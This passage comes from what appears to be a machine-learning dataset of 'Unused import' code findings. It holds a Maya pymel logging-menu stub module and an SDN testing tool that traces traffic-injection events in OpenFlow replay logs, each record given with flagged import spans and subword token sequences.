2, 2 ]
Unused import
CountZer0/PipelineConstructionSet/python/maya/site-packages/pymel-1.0.5/extras/completion/py/pymel/tools/loggingControl.py
[ { "content": "import pymel.all as pymel\nimport logging\nimport sys\n\nfrom pymel.core.uitypes import Menu as _Menu\n\n\n\n\n\n\n\n\n\nlogger = None\n\nlevelsDict = {}\n\nn = 50\n\nlogLevelNames = []\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class LoggingMenu(_Menu):\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n __melui__ = 'loggingMenu'\n \n \n __readonly__ = {}", "metadata": "root.LoggingMenu", "header": "['module', '___EOS___']", "index": 6 }, { "content": " def __init__(self, name=None, parent=None):\n pass", "metadata": "root.LoggingMenu.__init__", "header": "['class', 'LoggingMenu', '(', '_Menu', ')', ':', '___EOS___']", "index": 7 }, { "content": " def addHandler(self, logger):\n pass", "metadata": "root.LoggingMenu.addHandler", "header": "['class', 'LoggingMenu', '(', '_Menu', ')', ':', '___EOS___']", "index": 11 }, { "content": " def buildLevelMenu(self, parent, item):\n pass", "metadata": "root.LoggingMenu.buildLevelMenu", "header": "['class', 'LoggingMenu', '(', '_Menu', ')', ':', '___EOS___']", "index": 15 }, { "content": " def buildSubMenu(self, parent, logger):\n pass", "metadata": "root.LoggingMenu.buildSubMenu", "header": "['class', 'LoggingMenu', '(', '_Menu', ')', ':', '___EOS___']", "index": 19 }, { "content": " def changeLevel(self, item, level):\n pass", "metadata": "root.LoggingMenu.changeLevel", "header": "['class', 'LoggingMenu', '(', '_Menu', ')', ':', '___EOS___']", "index": 23 }, { "content": " def refresh(self, *args):\n pass", "metadata": "root.LoggingMenu.refresh", "header": "['class', 'LoggingMenu', '(', '_Menu', ')', ':', '___EOS___']", "index": 27 }, { "content": " def refreshLoggingMenu(self):\n pass", "metadata": "root.LoggingMenu.refreshLoggingMenu", "header": "['class', 'LoggingMenu', '(', '_Menu', ')', ':', '___EOS___']", "index": 31 }, { "content": " def setFormatter(self, handler):\n pass", "metadata": "root.LoggingMenu.setFormatter", "header": "['class', 'LoggingMenu', '(', '_Menu', ')', ':', '___EOS___']", "index": 35 }, { "content": " def __new__(cls, name='pymelLoggingControl', parent=None):\n pass", "metadata": "root.LoggingMenu.__new__", "header": "['class', 'LoggingMenu', '(', '_Menu', ')', ':', '___EOS___']", "index": 39 }, { "content": "def initMenu():\n pass", "metadata": "root.initMenu", "header": "['module', '___EOS___']", "index": 50 }, { "content": "def refreshLoggerHierarchy():\n pass", "metadata": "root.refreshLoggerHierarchy", "header": "['module', '___EOS___']", "index": 54 } ]
[ { "span": "import pymel.all as pymel", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 25 }, { "span": "import logging", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 14 }, { "span": "import sys", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "pym", "el_", "._", "all_", "as_", "pym", "el_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pym", "el_", "._", "core_", "._", "uit", "ypes_", "import_", "Menu_", "as_", "\\u", "Menu_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logger_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "level", "s", "Dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "n_", "=_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "Leve", "l", "Names_", "=_", "[_", "]_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u", "mel", "ui", "\\u\\u_", "=_", "'", "logg", "ing", "Menu", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "read", "only", "\\u\\u_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", "=_", "None_", ",_", "parent_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Handler_", "(_", "self_", ",_", "logger_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "Leve", "l", "Menu_", "(_", "self_", ",_", "parent_", ",_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "build", "Sub", "Menu_", "(_", "self_", ",_", "parent_", ",_", "logger_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "change", "Level_", "(_", "self_", ",_", "item_", ",_", "level_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "refresh_", "(_", "self_", ",_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "refre", "sh", "Log", "ging", "Menu_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Formatter_", "(_", "self_", ",_", "handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "Menu_", "(_", "\\u", "Menu_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "new\\u\\u_", "(_", "cls_", ",_", "name_", "=_", "'", "pym", "el", "Log", "ging", "Control", "'_", ",_", "parent_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "init", "Menu_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "refre", "sh", "Log", "ger", "Hier", "arch", "y_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u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 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ucb-sts/sts/tools/trace_traffic_injection.py
[ { "content": "#!/usr/bin/env python\n\n# note: must be invoked from the top-level sts directory\n\n# TODO(cs): need unique ids for every packet in the network. If there\n# are multiple in-flight packets with the same headers, this tool conflates\n# them.\n\nimport time\nimport argparse\nimport os\nimport sys\n\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\"))\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../pox\"))\n\nfrom pox.openflow.libopenflow_01 import *\nfrom pox.lib.packet.ethernet import *\nimport sts.replay_event as replay_events\nfrom sts.dataplane_traces.trace import Trace\nfrom sts.input_traces.log_parser import parse\nfrom sts.fingerprints.messages import DPFingerprint\nfrom tools.pretty_print_input_trace import field_formatters, default_fields\n\n\ndp_ofp_packets = set([ofp_packet_in, ofp_packet_out])\n\n\n\n\ndp_class_to_filter = {\n replay_events.TrafficInjection : ti_filter,\n replay_events.ControlMessageReceive : control_message_filter,\n replay_events.ControlMessageSend : control_message_filter,\n replay_events.DataplanePermit : dp_forward_filter,\n replay_events.DataplaneDrop : dp_forward_filter,\n replay_events.ProcessFlowMod : process_flow_mod_filter,\n}\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('input', metavar=\"INPUT\",\n help='The input json file to be printed')\n parser.add_argument('ti_id', metavar=\"TRAFFIC_INJECTION_ID\",\n help='The event number of the traffic injection event to trace')\n args = parser.parse_args()\n if args.ti_id[0] == \"e\" or args.ti_id[0] == \"i\":\n args.ti_id = args.ti_id[1:]\n args.ti_id = int(args.ti_id)\n\n main(args)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def ti_filter(e, pkt_fingerprint):\n return DPFingerprint.from_pkt(e.dp_event.packet) == pkt_fingerprint", "metadata": "root.ti_filter", "header": "['module', '___EOS___']", "index": 24 }, { "content": "def control_message_filter(e, pkt_fingerprint):\n of_pkt = e.get_packet()\n\n # TODO(cs): also handle ofp_flow_mod.buffer_id, which applies the rule to a\n # particular buffered packet.\n if type(of_pkt) not in dp_ofp_packets:\n return False\n\n # TODO(cs): problem: controllers often truncate the packet in\n # ofp_packet_out.data. ofp_packet_in's are fine though, since POX's\n # software_switch always includes the entire dataplane packet in the\n # packet_in. To really solve this issue we would need to replay the\n # flow_mods to cloned topology, and verify that buffer_id's are chosen\n # deterministically.\n return DPFingerprint.from_pkt(ethernet(raw=of_pkt.data)) == pkt_fingerprint", "metadata": "root.control_message_filter", "header": "['module', '___EOS___']", "index": 29 }, { "content": "def dp_forward_filter(e, pkt_fingerprint):\n return e.dp_fingerprint == pkt_fingerprint", "metadata": "root.dp_forward_filter", "header": "['module', '___EOS___']", "index": 45 }, { "content": "def process_flow_mod_filter(e, pkt_fingerprint):\n # TODO(cs): implement me.\n pass", "metadata": "root.process_flow_mod_filter", "header": "['module', '___EOS___']", "index": 48 }, { "content": "def main(args):\n with open(args.input) as input_file:\n trace = parse(input_file)\n # TODO(cs): binary search instead of linear?\n while len(trace) > 0 and trace[0].label_id < args.ti_id:\n trace.pop(0)\n\n ti_event = trace[0]\n if type(ti_event) != replay_events.TrafficInjection:\n raise ValueError(\"Event %s with is not a TrafficInjection\" % str(ti_event))\n\n pkt_fingerprint = DPFingerprint.from_pkt(ti_event.dp_event.packet)\n\n for event in trace:\n t = type(event)\n if t in dp_class_to_filter and dp_class_to_filter[t](event, pkt_fingerprint):\n for field in default_fields:\n field_formatters[field](event)", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 61 } ]
[ { "span": "import time", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 11 }, { "span": "from sts.dataplane_traces.trace import Trace", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 44 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "note", ":", " ", "must", " ", "be", " ", "invoke", "d", " ", "from", " ", "the", " ", "top", "-", "level", " ", "sts", " ", "directory_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", "(", "cs", "):", " ", "need", " ", "unique", " ", "ids", " ", "for", " ", "every", " ", "packet", " ", "in", " ", "the", " ", "network", ".", " ", "If", " ", "there", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "multiple", " ", "in", "-", "flight", " ", "packet", "s", " ", "with", " ", "the", " ", "same", " ", "header", "s", ",", " ", "this", " ", "tool", " ", "confl", "ates", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "them", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "path_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ",_", "\"..\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "path_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ",_", "\"..", "/", "po", "x", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "po", "x_", "._", "openf", "low_", "._", "lib", "openf", "low", "\\u", "01_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "po", "x_", "._", "lib_", "._", "packet_", "._", "ethernet", "_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sts_", "._", "repla", "y", "\\u", "event_", "as_", "repla", "y", "\\u", "events_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sts_", "._", "datap", "lan", "e\\u", "traces_", "._", "trace_", "import_", "Trace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sts_", "._", "input", "\\u", "traces_", "._", "log", "\\u", "parser_", "import_", "parse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sts_", "._", "fingerprint", "s_", "._", "messages_", "import_", "DP", "Fingerprint", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tools_", "._", "pretty", "\\u", "print", "\\u", "input", "\\u", "trace_", "import_", "field", "\\u", "formatters_", ",_", "default", "\\u", "fields_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dp", "\\u", "ofp", "\\u", "packets_", "=_", "set_", "(_", "[_", "ofp", "\\u", "packet", "\\u", "in_", ",_", "ofp", "\\u", "packet", "\\u", "out_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dp", "\\u", "class", "\\u", "to", "\\u", "filter_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "repla", "y", "\\u", "events_", "._", "Tra", "ffic", "Inject", "ion_", ":_", "ti", "\\u", "filter_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "repla", "y", "\\u", "events_", "._", "Control", "Messag", "e", "Receive", "_", ":_", "control", "\\u", "message", "\\u", "filter_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "repla", "y", "\\u", "events_", "._", "Control", "Messag", "e", "Send_", ":_", "control", "\\u", "message", "\\u", "filter_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "repla", "y", "\\u", "events_", "._", "Data", "plane", "Permi", "t_", ":_", "dp", "\\u", "forward", "\\u", "filter_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "repla", "y", "\\u", "events_", "._", "Data", "plane", "Drop", "_", ":_", "dp", "\\u", "forward", "\\u", "filter_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "repla", "y", "\\u", "events_", "._", "Process", "Flow", "Mod_", ":_", "process", "\\u", "flow", "\\u", "mod", "\\u", "filter_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "input", "'_", ",_", "metavar_", "=_", "\"", "INPUT", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "The", " ", "input", " ", "json", " ", "file", " ", "to", " ", "be", " ", "printed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "ti", "\\u", "id", "'_", ",_", "metavar_", "=_", "\"", "TRA", "FFI", "C", "\\u", "IN", "JE", "CTION", "\\u", "ID", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "The", " ", "event", " ", "number", " ", "of", " ", "the", " ", "traffic", " ", "injection", " ", "event", " ", "to", " ", "trace", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", "._", "ti", "\\u", "id_", "[_", "0_", "]_", "==_", "\"", "e", "\"_", "or_", "args_", "._", "ti", "\\u", "id_", "[_", "0_", "]_", "==_", "\"", "i", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "._", "ti", "\\u", "id_", "=_", "args_", "._", "ti", "\\u", "id_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "args_", "._", "ti", "\\u", "id_", "=_", "int_", "(_", "args_", "._", "ti", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "main_", "(_", "args_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "ti", "\\u", "filter_", "(_", "e_", ",_", "pkt", "\\u", "fingerprint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "DP", "Fingerprint", "_", "._", "from", "\\u", "pkt_", "(_", "e_", "._", "dp", "\\u", "event_", "._", "packet_", ")_", "==_", "pkt", "\\u", "fingerprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "control", "\\u", "message", "\\u", "filter_", "(_", "e_", ",_", "pkt", "\\u", "fingerprint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "of", "\\u", "pkt_", "=_", "e_", "._", "get", "\\u", "packet_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", "(", "cs", "):", " ", "als", "o", " ", "handle", " ", "ofp", "\\u", "flow", "\\u", "mod", ".", "buffer", "\\u", "id", ",", " ", "whi", "ch", " ", "appli", "es", " ", "the", " ", "rule", " ", "to", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "partic", "ular", " ", "buffered", " ", "packet", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "type_", "(_", "of", "\\u", "pkt_", ")_", "not_", "in_", "dp", "\\u", "ofp", "\\u", "packets_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", "(", "cs", "):", " ", "problem", ":", " ", "controlle", "rs", " ", "oft", "en", " ", "truncat", "e", " ", "the", " ", "packet", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ofp", "\\u", "packet", "\\u", "out", ".", "data", ".", " ", "ofp", "\\u", "packet", "\\u", "in", "'", "s", " ", "are", " ", "fine", " ", "tho", "ugh", ",", " ", "sinc", "e", " ", "PO", "X", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "software", "\\u", "switch", " ", "alw", "ay", "s", " ", "include", "s", " ", "the", " ", "entire", " ", "datap", "lan", "e", " ", "packet", " ", "in", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "packet", "\\u", "in", ".", " ", "To", " ", "reall", "y", " ", "solve", " ", "this", " ", "issue", " ", "we", " ", "wou", "ld", " ", "need", " ", "to", " ", "repla", "y", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "flow", "\\u", "mod", "s", " ", "to", " ", "cloned", " ", "topo", "log", "y", ",", " ", "and", " ", "verify", " ", "tha", "t", " ", "buffer", "\\u", "id", "'", "s", " ", "are", " ", "chosen", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "deterministic", "ally", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "DP", "Fingerprint", "_", "._", "from", "\\u", "pkt_", "(_", "ethernet", "_", "(_", "raw_", "=_", "of", "\\u", "pkt_", "._", "data_", ")_", ")_", "==_", "pkt", "\\u", "fingerprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dp", "\\u", "forward", "\\u", "filter_", "(_", "e_", ",_", "pkt", "\\u", "fingerprint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "e_", "._", "dp", "\\u", "fingerprint_", "==_", "pkt", "\\u", "fingerprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "process", "\\u", "flow", "\\u", "mod", "\\u", "filter_", "(_", "e_", ",_", "pkt", "\\u", "fingerprint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", "(", "cs", "):", " ", "implement", " ", "me", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "main_", "(_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "args_", "._", "input_", ")_", "as_", "input", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "trace_", "=_", "parse_", "(_", "input", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", "(", "cs", "):", " ", "binar", "y", " ", "search", " ", "inst", "ead", " ", "of", " ", "linear", "?", "_", 